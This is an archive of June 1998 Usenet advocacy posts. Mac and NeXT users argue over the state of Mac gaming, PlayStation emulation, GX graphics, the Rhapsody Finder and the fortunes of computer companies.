> > Games on the Mac are in horribly serious trouble.
>
> Not really. A lot of companies have noticed that they can go into the PC
> market, and fight a half-dozen bigger companies for shelf space, or come
> out with a Mac title, and have *no* competition.
Which "lot of companies"? Funny how all of the ones I see that release PC
games KEEP releasing PC games, like Bungie, Parsoft, Atomic, TacOps and GSC.
If the Mac market was as good as you suggest, I would assume that these
companies would be pulling back out of the PC side. And while I can name a
couple that are pulling out of the Mac side, I doubt you name one that went
the "other way".
Check out the flight sim side of things for instance. Domark's gone,
leaving GSC, (if they ever ship) Parsoft and Bullseye. The later three
started on the Mac, Domark tried for a while and then seems to have given up
(good, I think their games stank). Falcon started on the Mac and is now long
gone.
Meanwhile on the PC side things are a little different. For instance the
latest issue of Computer Gamer reviews no less than six new WWII flight sims
taking place in europe alone. One of them will be out for the Mac (Fighter
Squadron). Janes, Ocean, SSI, they're all ignoring the Mac. Or check out
gamecenter, where they have a page of reviews of new flight sims coming out,
14 new games, 1 on the Mac (Fighter Squadron).
> ...and Civilization II, and Master of Orion II, just off of the top of my
> head. There were also quite a few others that you missed, but my guess is
> that you didn't look that hard.
Strat WAR games.
Again the only ones you quote are the ports. What about the literally
_hundreds_ of games that _didn't_ get ported? Any new driving games? One or
two? How about sports ones? Any new Red Alert stuff? Dark Reign? Age of
Empires? SynII? PGII? PCII? Any tank combat sims at all? Mechwarrior like
ones? Are any of the current top ten new games from the PC world out on the
Mac?
> Of course, with the recent increase in Mac games development
Can you quote this "recent increase in Mac games development"? I mean
other than MacSoft's good year. Can you quote ANY figure that shows
mainstream Mac gaming is increasing? Keep living in that fantasy world Chad,
but remember as long as you deny there's a problem it won't get fixed.
> , you'll be missing out, but what the heck...
Yeah, ok, name ONE. One "real world" commercial game that will come out
for the Mac, that isn't out on the PC as well - likely months earlier.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 15 Jun 1998 16:23:27 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6m3hpv$n2m$2@ns3.vrx.net>
References: <6m3886$i04$3@ns3.vrx.net> <B1AACB1D-23F64@206.165.43.7>
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Cc: english@primenet.com
In <B1AACB1D-23F64@206.165.43.7> "Lawson English" claimed:
> Or, maybe, just maybe, that GX graphics is an ideal fit to multi-media
> vector graphics.
And maybe it isn't. Apple's use or non-use of technologies has never had
anything to do with technical merit. For instance, why is *HyperTalk* going
into QT and not AS?
> Besides, it isn't "GX-like." It IS GX, design-wise, but missing several
> important pieces that make GX suitable for DTP.
That would make it GX-like.
Maury
From: arman.afagh@med.nyu.edu**** (Arman Afagh)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: Mon, 15 Jun 1998 20:13:12 -0400
Organization: NYU School of Medicine
Message-ID: <arman.afagh-1506982013120001@mcrubs1102.med.nyu.edu>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <arman.afagh-2705982330280001@mcrubs1102.med.nyu.edu> <Pine.SOL.3.96.980615011908.456A-100000@hei.unige.ch> <358322BC.4620@southwind.net> <MPG.feed200cc3d366598986f@news.supernews.com> <3583A2A6.2F45@southwind.net>
In article <3583A2A6.2F45@southwind.net>, jmz@southwind.net wrote:
>Donald Brown wrote:
>>
>> In article <358322BC.4620@southwind.net>, jmz@southwind.net says...
>> > I compare Jobs to Hitler quite intentionally,but conditionally:I'm not
>> > accusing him of genocide or war atrocities.I am saying that he's
>> > dysfunctional and disturbed and conciously or otherwise is determined to
>> > fail at Apple,per se.
>> >
>> But the fact that, of all the dysfunctional leaders you could have
>> chosen, it was just a random chance you chose Hitler.
>
> No,because Jobs is so fundamentally Hitlerian in that he's
>doomed,historically,and so are those who follow him.Mussolini might be a
>good analogy too,but Hitler just has that emotional impact,even today.
So, is Pixar doomed too? Or only Apple? After all, they're both run by
the same person, you know, Steve Jobs. Certainly investors don't agree
with you. Apple is the best performing S&P500 stock of the year, and
Pixar is around its all-time high after going up over 100% over the past
few months.
ARman.
--
Arman Afagh NYU School of Medicine - Class of 1999
arman.afagh@med.nyu.edu http://endeavor.med.nyu.edu/~afagha01
Friends don't let friends buy Windows.
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 15 Jun 1998 21:54:28 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6ob60k.5nf.sal@panix3.panix.com>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126>
On 15 Jun 1998 10:33:00 -0700, Lawson English <english@primenet.com> wrote:
>And this could be remedied if they created "personality cards" for the 3D
>accelerator and other hardware features. If you wanted a faster 3D option,
>you could take it to the local Mac dealer and have him/her upgrade it for a
>modest fee.
As much as I think 3dFX support for the iMac would be cool, I don't think
the iMac target audience wants to add cards to the computer. If they did,
they might buy a machine with slots.
My brother bought a Playstation for games because he felt that PCs were too
much work just for a game. He doesn't want to "install" anything. He wants
to plop the game in and play. I can't say I blame him.
--
sal@panix.com
Salvatore Denaro
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 15 Jun 1998 21:57:42 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6ob66m.5nf.sal@panix3.panix.com>
References: <jdoherty-1306980132070001@aus-tx22-02.ix.netcom.com> <B1A80B74-46BBE@206.165.43.23> <jdoherty-1406980213150001@san-tx3-06.ix.netcom.com> <6m1gbk$ndd$8@ironhorse.plsys.co.uk> <3584500D.CD7B26A0@nstar.net> <6m312u$b7k$6@ns3.vrx.net>
On 15 Jun 1998 11:38:06 GMT, Maury Markowitz <maury@remove_this.istar.ca> wrote:
> Could YB be a good games development system? Unquestionably. This is why
>I find Apple's current stance on OOPS wrappers for QT under YB so annoying.
Didn't Apple state that this was planned for the MacOSX timeframe? (It would
be nice to have it *now* though...)
--
sal@panix.com
Salvatore Denaro
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 16 Jun 1998 01:06:00 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-1506982105400001@pm55-36.magicnet.net>
References: <6m2cji$moo$2@supernews.com> <B1AACAA1-22258@206.165.43.7> <rmcassid-1506981506530001@dante.eng.uci.edu> <*johnnyc*-1506982043530001@jchristie.halifaxcable.dal.ca>
*johnnyc*@or.psychology.dal.ca (John Christie) wrote:
> Well, it won't, and cannot happen (soon). While the Playstation is no
> super machine it simply is much too powerful for the current Macs to fully
> emulate.
Not really. The Playstation isn't really that high-powered in real
terms. Nothing like the N64, for example.
The R3000 processor in the Playstation is only so-so in current terms, for
example, and the PS only has two megs of RAM. The graphics engine is only
about equal to the ATI chip in the older model G3 Power Macs, and about
half the speed of the newer ones.
--
Chad Irby cirby@magicnet.net
/ My greatest fear:
/ That future generations will, for some
/ reason, refer to me as an "optimist."
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Mon, 15 Jun 1998 16:11:07 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35858DEB.5EE3F11E@nstar.net>
References: <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <357DEB64.6B62@CONVEX.COM> <35967e0e.17663365@news.supernews.com> <35800D69.C7F8B8E1@nstar.net> <6lpvl2$26g6@yuma.ACNS.ColoState.EDU> <35809E8C.8E3F239A@nstar.net> <rmcassid-1206980004350001@dialin9229.slip.uci.edu> <358130D4.372EFBEB@nstar.net> <rmcassid-1206981443290001@dante.eng.uci.edu> <3581B5E4.27A5303B@nstar.net> <rmcassid-1306980235180001@dialin33422.slip.uci.edu> <rmcassid-1506981103570001@dante.eng.uci.edu> <35856fd0.0@news.depaul.edu> <rmcassid-1506981316410001@dante.eng.uci.edu>
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Robert Cassidy wrote:
>
> In article <35856fd0.0@news.depaul.edu>, Jonathan W Hendry
> <jhendry@shrike.depaul.edu> wrote:
>
> >I don't see this as being a real flaw though, since they were probably
> >supported at the time, then forgotten.
>
> Consider if all bills were put forth with an expiration date. It would
> make those laws that were later deemed silly as irrelevant since it would
> expire without renewal... It would also force other bills to get an
> opportunity for review at regular intervals. Imagine if the tax codes had
> to be reapproved every 3-5 years...
This is a really good idea, if it would apply to *all* legislation, at
both the state and federal levels. It would inspire more involvement in
the legislative process on the part of citizens, and would force all
elected officials to take a public stand one way or the other on every
piece of legislation under consideration.
The main obstacle I see is that the sheer volume of legislation review
made necessary by such a measure would create a real imbalance in the
legislative process. Naturally, this wouldn't be a problem in a country
with a reasonably-sized code of laws, and would tend to severely curb
the total amount over time. Even so, early on, it would be a real zoo.
I don't think that this is a new idea. I can't place a precedent, being
of severely limited education, but it sounds familiar.
> >A real flaw in our system of government is the way Congress slips sleazy
> >little special-interest riders into completely unrelated bills. For
> >which they're paid handsomely, of course.
>
> Right. The line-item veto would have been a great benefit to curbing this,
> but alas it was not to be.
The problem with the line-item veto is that it's also a line-item
approval, as well. Your idea above is a much more effective mechanism,
in my lowly opinion.
MJP
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Mon, 15 Jun 1998 15:04:30 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-1506981504300001@dante.eng.uci.edu>
References: <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <357DEB64.6B62@CONVEX.COM> <35967e0e.17663365@news.supernews.com> <35800D69.C7F8B8E1@nstar.net> <6lpvl2$26g6@yuma.ACNS.ColoState.EDU> <35809E8C.8E3F239A@nstar.net> <rmcassid-1206980004350001@dialin9229.slip.uci.edu> <358130D4.372EFBEB@nstar.net> <rmcassid-1206981443290001@dante.eng.uci.edu> <3581B5E4.27A5303B@nstar.net> <rmcassid-1306980235180001@dialin33422.slip.uci.edu> <rmcassid-1506981103570001@dante.eng.uci.edu> <35856fd0.0@news.depaul.edu> <rmcassid-1506981316410001@dante.eng.uci.edu> <35858DEB.5EE3F11E@nstar.net>
In article <35858DEB.5EE3F11E@nstar.net>, Michael Peck <mjpeck@nstar.net> wrote:
>Robert Cassidy wrote:
>> Consider if all bills were put forth with an expiration date. It would
>> make those laws that were later deemed silly as irrelevant since it would
>> expire without renewal... It would also force other bills to get an
>> opportunity for review at regular intervals. Imagine if the tax codes had
>> to be reapproved every 3-5 years...
>
>This is a really good idea, if it would apply to *all* legislation, at
>both the state and federal levels.
Sure, why discriminate?
It would inspire more involvement in
>the legislative process on the part of citizens, and would force all
>elected officials to take a public stand one way or the other on every
>piece of legislation under consideration.
Yep.
>The main obstacle I see is that the sheer volume of legislation review
>made necessary by such a measure would create a real imbalance in the
>legislative process. Naturally, this wouldn't be a problem in a country
>with a reasonably-sized code of laws, and would tend to severely curb
>the total amount over time. Even so, early on, it would be a real zoo.
Choose your battles wisely. Don't make laws unless you are willing to
maintain them. Maybe the computer industry has something to offer here.
>I don't think that this is a new idea. I can't place a precedent, being
>of severely limited education, but it sounds familiar.
It's not new. I can't recall the precedent either, only that it entered my
head somewhere in my HS history course.
>> Right. The line-item veto would have been a great benefit to curbing this,
>> but alas it was not to be.
>
>The problem with the line-item veto is that it's also a line-item
>approval, as well. Your idea above is a much more effective mechanism,
>in my lowly opinion.
I like it better as well. The checks and balances system has turned out,
IMO, to be pretty nicely matched - no need to upset things...
-Bob Cassidy
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: Mon, 15 Jun 1998 15:06:53 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-1506981506530001@dante.eng.uci.edu>
References: <6m2cji$moo$2@supernews.com> <B1AACAA1-22258@206.165.43.7>
In article <B1AACAA1-22258@206.165.43.7>, "Lawson English"
<english@primenet.com> wrote:
>That rumored (very rumored) Playstation emulator would be very nice,
>however. If iMac could run every Playstation game out-of-the-box, that
>would be a HUGE selling point, I think.
Yeah, in terms of rumors these days, that one is *really* sweet and seems
quite reasonable. Even seems as though Sony would endorse it...
-Bob Cassidy
From: embuck@palmer.cca.rockwell.com (Erik M. Buck)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Games and the consumer market.
Date: 15 Jun 1998 21:36:27 GMT
Organization: Rockwell International
Message-ID: <6m444r$rcu2@onews.collins.rockwell.com>
References: <jdoherty-1306980132070001@aus-tx22-02.ix.netcom.com> <B1A80B74-46BBE@206.165.43.23>
<jdoherty-1406980213150001@san-tx3-06.ix.netcom.com> <slrn6o7p0o.sk2.sal@panix3.panix.com>
<35848D6B.B7C60F36@spamtoNull.com> <slrn6o9557.av9.sal@panix3.panix.com>
<njcosta-ya02408000R1506980112460001@news.earthlink.net> <6m30i7$b7k$5@ns3.vrx.net>
<cirby-1506981527110001@pm53-28.magicnet.net>
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In <cirby-1506981527110001@pm53-28.magicnet.net> Chad Irby wrote:
> > Games on the Mac are in horribly serious trouble.
>
> Not really. A lot of companies have noticed that they can go into the PC
> market, and fight a half-dozen bigger companies for shelf space, or come
> out with a Mac title, and have *no* competition.
>
No competition AND NO shelf space. Retail (volume) distributors are not
interested in a game that may sell to .5 percent of 4 percent of the market
for game consumers. Games are retail products and frequently holiday related
impulse buys.
> ...and Civilization II, and Master of Orion II, just off of the top of my
> head. There were also quite a few others that you missed, but my guess is
> that you didn't look that hard.
>
CivII was available for 3 years on Windows before the Mac version. This sure
argues for buying the Windows system. Same with Master of Orion II. Douglas
Adams, an invited Apple Master, may release "Starship Titanic" sometime after
the Windows release.
>
> Of course, with the recent increase in Mac games development, you'll be
> missing out, but what the heck...
Hah! I am President of an entertainment software company that has produced a
high budget YellowBox strat/sim game, and I can not find a distributor for
the Mac. This game was produced with Apple technology and will probably
never be released for the Mac. Distributors and retailers are only
interested in Mac titles that have already been blockbusters in other
markets. Why should they risk the half shelf of retail space that they can
still get on an unproven title.
There is absolutely no question. If you want the best/most games, buy from
Microsoft and Intel.
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 15 Jun 1998 22:43:26 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6ob8se.b70.sal@panix3.panix.com>
References: <355AEC05.AB097DC4@milestonerdl.com> <rmcassid-0906980011280001@dialin33413.slip.uci.edu> <TP5f1.12155$Kx3.12551461@news.rdc1.sdca.home.com> <tbrown-0906981819170001@mv085.axom.com> <6lp2q3$cvi$2@news02.btx.dtag.de> <tbrown-1106981928040001@mv099.axom.com> <*johnnyc*-1406980722450001@jchristie.halifaxcable.dal.ca> <tbrown-1406981259330001@mv067.axom.com> <*johnnyc*-1406981744560001@jchristie.halifaxcable.dal.ca> <tbrown-1506980018060001@mv103.axom.com> <3584b3ba.0@news.depaul.edu> <tbrown-1506981800570001@mv114.axom.com>
On Mon, 15 Jun 1998 18:00:55 -0400, Ted Brown <tbrown@netset.com> wrote:
>So maybe you'll tell me, what about the Rhapsody Finder isn't suitable for
>the average Mac user?
I don't think it _isn't suitable_, but I do think it is different enough
to require a little time to get used to it.
>How's it worse than the current OS 8 Finder?
Other than the fact that it will require *two* open browsers to move files
from one location to another, it isn't _worse_. It is _different_
> The
>Workspace Manager was already better than the Finder in some respects,
>though it's been a few years for me since I've used it (back when I used
The OpenStep browser is much better than the system 6 finder I had on my
SE/30. By a wide margin. From what I've seen in system8 (I've only seen
a little of it) things are much better. Thre are a lot more ways to list
a folder than there were in system 6 days. :)
--
sal@panix.com
Salvatore Denaro
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 15 Jun 1998 18:06:51 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6m3nrr$65$1@ns3.vrx.net>
References: <jdoherty-1306980132070001@aus-tx22-02.ix.netcom.com> <B1A80B74-46BBE@206.165.43.23>
<jdoherty-1406980213150001@san-tx3-06.ix.netcom.com> <6m1gbk$ndd$8@ironhorse.plsys.co.uk>
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In <slrn6ob66m.5nf.sal@panix3.panix.com> Salvatore Denaro claimed:
> Didn't Apple state that this was planned for the MacOSX timeframe? (It
would
> be nice to have it *now* though...)
Not that I heard,€quite the opposite (although not forcefully) actually.
Maury
From: *johnnyc*@or.psychology.dal.ca (John Christie)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: Mon, 15 Jun 1998 20:43:53 -0300
Organization: ISINet, Nova Scotia
Message-ID: <*johnnyc*-1506982043530001@jchristie.halifaxcable.dal.ca>
References: <6m2cji$moo$2@supernews.com> <B1AACAA1-22258@206.165.43.7> <rmcassid-1506981506530001@dante.eng.uci.edu>
In article <rmcassid-1506981506530001@dante.eng.uci.edu>, rmcassid@uci.edu
(Robert Cassidy) wrote:
> In article <B1AACAA1-22258@206.165.43.7>, "Lawson English"
> <english@primenet.com> wrote:
>
> >That rumored (very rumored) Playstation emulator would be very nice,
> >however. If iMac could run every Playstation game out-of-the-box, that
> >would be a HUGE selling point, I think.
>
> Yeah, in terms of rumors these days, that one is *really* sweet and seems
> quite reasonable. Even seems as though Sony would endorse it...
Well, it won't, and cannot happen (soon). While the Playstation is no
super machine it simply is much too powerful for the current Macs to fully
emulate. It might be possible for the Macs to emulate the Playstation OS
and attempt to inteface and bypass hardware emulation. Pretty much all
old Playstation games were written through the libraries. A good
programmer might be able to get versions of those on the Mac. However,
new Playstation games write direct to hardware. Maybe the AltiVec could
emulate it but that is probably the minimum starting point.
--
You aren't free if you CAN choose - only if you DO choose.
All you are is the decisions you make.
Remove "*" and ohnny (i.e. jc@) to reply via email
From: tbrown@netset.com (Ted Brown)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Mon, 15 Jun 1998 18:00:55 -0400
Organization: The World's Usenet -- http://www.Supernews.com
Message-ID: <tbrown-1506981800570001@mv114.axom.com>
References: <355AEC05.AB097DC4@milestonerdl.com> <rmcassid-0906980011280001@dialin33413.slip.uci.edu> <TP5f1.12155$Kx3.12551461@news.rdc1.sdca.home.com> <tbrown-0906981819170001@mv085.axom.com> <6lp2q3$cvi$2@news02.btx.dtag.de> <tbrown-1106981928040001@mv099.axom.com> <*johnnyc*-1406980722450001@jchristie.halifaxcable.dal.ca> <tbrown-1406981259330001@mv067.axom.com> <*johnnyc*-1406981744560001@jchristie.halifaxcable.dal.ca> <tbrown-1506980018060001@mv103.axom.com> <3584b3ba.0@news.depaul.edu>
In article <3584b3ba.0@news.depaul.edu>, Jonathan W Hendry
<jhendry@shrike.depaul.edu> wrote:
>> Some of the screen shots of Rhapsody DR2 show an amazing semblance to a
>> mac-ified Workspace Manager. Somehow I don't think Apple would have
>> bothered to move the NSBrowser view to the new Finder before finishing up
>> the rest of the port.
>
>Um, I'd guess that the Rhapsody Finder is mostly made of Workspace code.
>I'd be pretty surprised if they really did a ground-up port. They're
>only going to ship one version of Rhapsody, then they're going to
>ship MacOSX, with a Carbon Finder. So a full-Yellow Finder isn't
>going to ship until sometime in 2000, at the earliest. Why do a
>full port now, then mothball it?
>
So maybe you'll tell me, what about the Rhapsody Finder isn't suitable for
the average Mac user? How's it worse than the current OS 8 Finder? The
Workspace Manager was already better than the Finder in some respects,
though it's been a few years for me since I've used it (back when I used
it, it was clearly better than the Finder, but the Finder has improved a
bit since then).
--
Ted Brown tbrown@netset.com
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Violent SJ and the ICP was: Re: Reverse Technology -
Date: Mon, 15 Jun 1998 16:24:21 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35859105.7802997@nstar.net>
References: <357DB62A.6D843E17@alum.mit.edu> <6lm54c$iqs@btmpjg.god.bel.alcatel.be> <3583A6E8.7C5A@southwind.net> <01bd989a$d79a96a0$04387880@test1>
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NNTP-Posting-Date: 15 Jun 1998 21:29:29 GMT
Todd Heberlein wrote:
>
> jmz@southwind.net wrote
> > All of these things are true. If you want to fail, study
> > famous failures and emulate them.
>
> It is easy to point to company xyz and say they failed because of
> abc. Unfortunately, every major computer company has failed, sold,
> been dismantled, or is struggling.
>
> Where are they now:
> Word Perfect Corp. - sold twice
> Lotus Corp. - sold to IBM (mainly to get Notes)
> Borland Corp. - died and reborn as Inprise
> Digital Equipment Corp. - sold to Compaq
> Tandem Corp. - sold to Compaq
> Commodore/Amiga - died, several attempts to be reborn
And yet the failures of all of these companies is largely blamed on the
companies (or their management) themselves. Word Perfect Corp failed to
keep pace with the feature race inspired by Microsoft Word, and it was
horribly mismanaged by every subsequent owner. Lotus was a success;
that's why it was bought. Borland was also mismanaged, and it's worth
noting that the company didn't die; it was simply renamed (isn't
ex-Apple Delbert Yokam running the show these days?). Digital, likewise,
made colossal blunders in the market, including line upon failed line of
servers, and a failure to keep its operating system environment up to
date with the likes of HPUX and Solaris. The now-famous Alpha blunders
were also significant. I can't comment on Tandem, but Commodore/Amiga
was its own failure along the lines of the others. It could be said,
even so, that if anything killed the Amiga, it was Apple's Macintosh.
> Other interesting examples:
> IBM's OS/2, killed off by Window 3.x, 95, and NT
> Novell was decimated by Windows NT
> Netscape [stock/revenues] was decimated by IE
> Silicon Graphics Inc. is still in the woods, agreed to do NT
Netscape's stock and revenues were widely believed to be well overvalued
before the onslaught of IE. Netscape had almost no competitors in its
market, and when one stepped up to bat, it didn't really matter who it
was. Silicon Graphics is a classic story of mismanagement. Novell wasted
billions in cash on such horribly-managed projects as UnixWare and Word
Perfect. IBM hedged its committment to OS/2 continually.
> Even successful companies are interesting too examine:
> HP sells more NT workstations than HP/UX workstations
> Sun's unit sales have stopped growing
Both are well-managed companies, but in my opinion both failed to mark
the incredible growth of the client in the corporate marketplace.
Neither company did much to address this market, and it's not at all
surprising that both are resorting to reactionary tactics, having lost
their lead in their core markets.
> When Apple is compared to Microsoft, it is seen as a failure.
> However, compared to virtually every other computer company -
> especially any company whose key technology was targeted by Microsoft
> - Apple is successful.
This is a credible point, and I'll be the first to say that Apple's
ability to cling to dear life has been nothing short of amazing. I'm
*not* the first to say that the management Apple has had would kill any
other company.
> Also, think about how many successful computer/OS companies have been
> started in the last 15 years?
You mean like a whole-platform company? I dunno, it's sort of
disappointing, I admit.
> I suspect there are windows when new companies can be started in a
> particular market. I think the market for new computer/OS companies
> was pretty much closed by the time NeXT entered it.
Probably. I don't think it *had* to be that way. If Apple had licensed
MacOS, for instance, or if NeXT had been more reasonable about licensing
NEXTSTEP, I think a whole lot of new platforms could have been spawned.
What if Newton had been allowed to continue on its own? If Apple and
NeXT hadn't kept such a lid on the industry's crown jewels, maybe a more
entrepreneurial market could have been built. As it happened, there was
a growing apprehension from 1986 to the present that the market was
solidifying into armed camps rather than open entrepreneurship.
MJP
From: "Ziya Oz" <ZiyaOz@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Mon, 15 Jun 1998 18:05:02 -0400
Organization: BM
Message-ID: <6m45j1$nun$1@suriname.it.earthlink.net>
References: <*johnnyc*-1506980054340001@jchristie.halifaxcable.dal.ca>
<B1A9ED45-3B7DF@206.165.43.122> <6m2gro$cci$1@news.digifix.com>
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In article <3585477a.0@news.depaul.edu> , Jonathan W Hendry
<jhendry@shrike.depaul.edu> wrote:
>> I have yet to see anyone from Apple refute the assertion that WebObjects (a
>> $40-$50M operation) contributed about $2M of profit to Apple's bottom line in
>> the last two quarters.
>
>WebObjects consulting and support profits alone probably were at least
>$2M. That doesn't count sales of the actual software. The real money is
>in the service and consulting, not the actual software.
Wishful thinking, but $2M is ALL the *profit* the entire WebObjects operation
had.
Ziya
From: "M. Kilgore" <mkilgore@nospam.prysm.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: Mon, 15 Jun 1998 20:20:32 -0500
Message-ID: <6m4h9k$h94$1@news0-alterdial.uu.net>
References: <6m2cji$moo$2@supernews.com> <B1AACAA1-22258@206.165.43.7> <rmcassid-1506981506530001@dante.eng.uci.edu> <*johnnyc*-1506982043530001@jchristie.halifaxcable.dal.ca> <cirby-1506982105400001@pm55-36.magicnet.net>
Chad Irby wrote in message ...
>*johnnyc*@or.psychology.dal.ca (John Christie) wrote:
>
>> Well, it won't, and cannot happen (soon). While the Playstation is no
>> super machine it simply is much too powerful for the current Macs to
fully
>> emulate.
>
>Not really. The Playstation isn't really that high-powered in real
>terms. Nothing like the N64, for example.
>
>The R3000 processor in the Playstation is only so-so in current terms, for
>example, and the PS only has two megs of RAM. The graphics engine is only
>about equal to the ATI chip in the older model G3 Power Macs, and about
>half the speed of the newer ones.
>--
>Chad Irby cirby@magicnet.net
On a semi-related line, the new Sega Dreamcast game console is combined with
the WinCE & DirectX APIs so that games can be written for both the console
and the PC. You can find the info at
http://www.microsoft.com/windowsce/dreamcast/ if you're curious. It would
certainly offer some possibilities for developers.
mark
From: sheppard.gordon@relaynet.org (SHEPPARD GORDON)
Newsgroups: comp.sys.next.advocacy
Subject: Re: GX vs PS (was Re: How
Date: Sat, 13 Jun 98 00:35:00 -0400
Organization: RelayNet, Brooklyn, NY (718) 692-2498
Distribution: World
Message-ID: <8F0F023.09B60005D0.uuout@relaynet.org>
On 06/12/98, LAWSON ENGLISH wrote:
LE> Most of my friends laugh at the NeXTers
How many of those are NOT imaginary?
Salut!
-> Alice4Mac 2.4.4 E QWK Hiya:05Nov94
Origin: --> Don't anthropomorphize computers. They hate that.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 15 Jun 1998 21:20:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1AB407C-13A1B@206.165.43.221>
References: <jdoherty-1506982009120001@aus-tx22-16.ix.netcom.com>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
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John Doherty <jdoherty@ix.netcom.com> said:
>
>For me, that's a forgettable disappointment -- GX had promise. For you,
>it appears to be some sort of religious obsession.
>
The crack was in response to your assertion that games should not be a
consideration in Apple's business plans. I shouldnt' have said it, sorry.
That you (and 99% of the rest of the Mac-using community) never found a use
for GX is 99% Apple's fault. The only "fault" I can lay out your feet is
that you appear to believe that it STILL offers no useful features.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 15 Jun 1998 21:24:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1AB4172-173FD@206.165.43.221>
References: <*johnnyc*-1606980023330001@jchristie.halifaxcable.dal.ca>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
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John Christie <*johnnyc*@or.psychology.dal.ca> said:
>I didn't say it was. However, emulating it takes multiples of that
>performance.
>
>> The R3000 processor in the Playstation is only so-so in current terms,
for
>> example, and the PS only has two megs of RAM. The graphics engine is
>only
>> about equal to the ATI chip in the older model G3 Power Macs, and about
>> half the speed of the newer ones.
>
> Hardware emulation of the older ATI chip could not be accomplished by
>the newer ATI chip (at playable speeds). It probably coudn't be
>accomplished by the next ATI chip. Emulation typically takes 4:1 speed
>hit at least. Look at the math specs of the G3. Easily 4 times the speed
>of a regular low end pentium. However, it just barely emulates it.
>
That's at least partly because of the endian issues. With intelligent
caching of translated loops, you can approach native speed in inner loops
if you don't have to worry about endian issues.
I believe that the Playstation's endian-ness is the same as the
PowerMac's.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: cbbrowne@news.hex.net (Christopher Browne)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Violent SJ and the ICP was: Re: Reverse Technology -
Date: 16 Jun 1998 04:13:00 GMT
Organization: Hex.Net Superhighway, DFW Metroplex 817-329-3182
Message-ID: <6m4rcc$iem$18@blue.hex.net>
